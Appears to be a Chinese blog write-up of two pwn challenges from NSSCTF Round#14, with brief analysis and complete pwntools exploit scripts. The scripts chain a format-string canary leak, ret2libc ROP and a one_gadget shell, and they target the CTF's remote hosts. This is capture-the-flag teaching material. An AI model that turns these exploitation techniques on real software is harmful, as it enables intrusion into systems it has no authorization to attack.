NSSCTF Round#14 Basic. Illuminate with your bril.

1.love

64位,开了canary,拖入ida分析

有格式化字符串漏洞,可以泄漏canary 当v5==v4时可进入vuln函数

 vuln存在栈溢出漏洞,通过main函数的格式化字符串漏洞实现泄露canary地址,且因为有v6指针指向了v4,用%$n改写v4 为520及可进入vuln,进行栈溢出漏洞泄露system和/bin/sh拿到shell

exp:


from pwn import *
from LibcSearcher import *
from pwnlib import *
import base64
#context.arch="amd64"
sh=remote("node5.anna.nssctf.cn",28836)
#sh=process("./love")
elf=ELF("./love")
libc=ELF("libc.so.6")
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")

un=lambda a:sh.recvuntil(a)
rv=lambda a:sh.recv(a)
rl=lambda:sh.recvline()
sd=lambda a:sh.send(a)
sl=lambda a:sh.sendline(a)
Jz=lambda a:u64(sh.recv(6)+"\x00"*2)-libc.sym[a]
inter=lambda :sh.interactive()


un("Toka\n\n")
puts_got=elf.got['puts']
puts=elf.plt['puts']
pop_rdi=0x00000000004013f3
start=0x40125D
ret=0x4012AF

sd("%15$p%502c%9$n")
canary=int(rv(18),16)

un("level\n\n")
sl("a"*0x28+p64(canary)+"a"*8+p64(pop_rdi)+p64(puts_got)+p64(puts)+p64(start))
jz=Jz("puts")
system=jz+libc.sym['system']
bin_sh=jz+libc.search("/bin/sh").next()

print hex(jz)

sl("a"*0x28+p64(canary)+"a"*8+p64(ret)+p64(pop_rdi)+p64(bin_sh)+p64(system))

inter()

2.rbp

在初始化时开启了seccomp_rule_add函数,设置了程序出现溢出时只开启了调用号为59的内核函数,也就是execve函数

通过题名可知使用经典栈迁移来拿shell,但我用了另一种

溢出可以修改返回地址,但需要泄露libc基址,所以要下滑两次到libc_start_main,前两次修改返回地址为vuln地址

下滑到libc_start_main时可修改它的低地址为\x13即可重新返回到main函数,且输出了libc_start_main+240-109的地址,也就获取了libc地址,最后通过onegadget getshell

exp:


from pwn import *
from LibcSearcher import *
from pwnlib import *
import base64
#context.arch="amd64"
sh=remote("node2.anna.nssctf.cn",28698)
#sh=process("./rbp")
elf=ELF("./rbp")
libc=ELF("libc.so.6")
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")

un=lambda a:sh.recvuntil(a)
rv=lambda a:sh.recv(a)
rl=lambda:sh.recvline()
sd=lambda a:sh.send(a)
sl=lambda a:sh.sendline(a)
Jz=lambda a:u64(sh.recv(6)+"\x00"*2)-libc.sym[a]
inter=lambda :sh.interactive()

pop_rdi=0x0000000000401353
start=0x401270

un("try it\n")
sd("a"*0x218+p64(start))
sh.recv()
sd("a"*0x218+p64(start))
sh.recv()
sh.recv()
sd("a"*0x218+"\x13")
un("a"*0x218)

jz=Jz("__libc_start_main")-240+109
print hex(jz)

shell=jz+0xebdb3
sd("a"*0x218+p64(shell))

inter()
 

 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值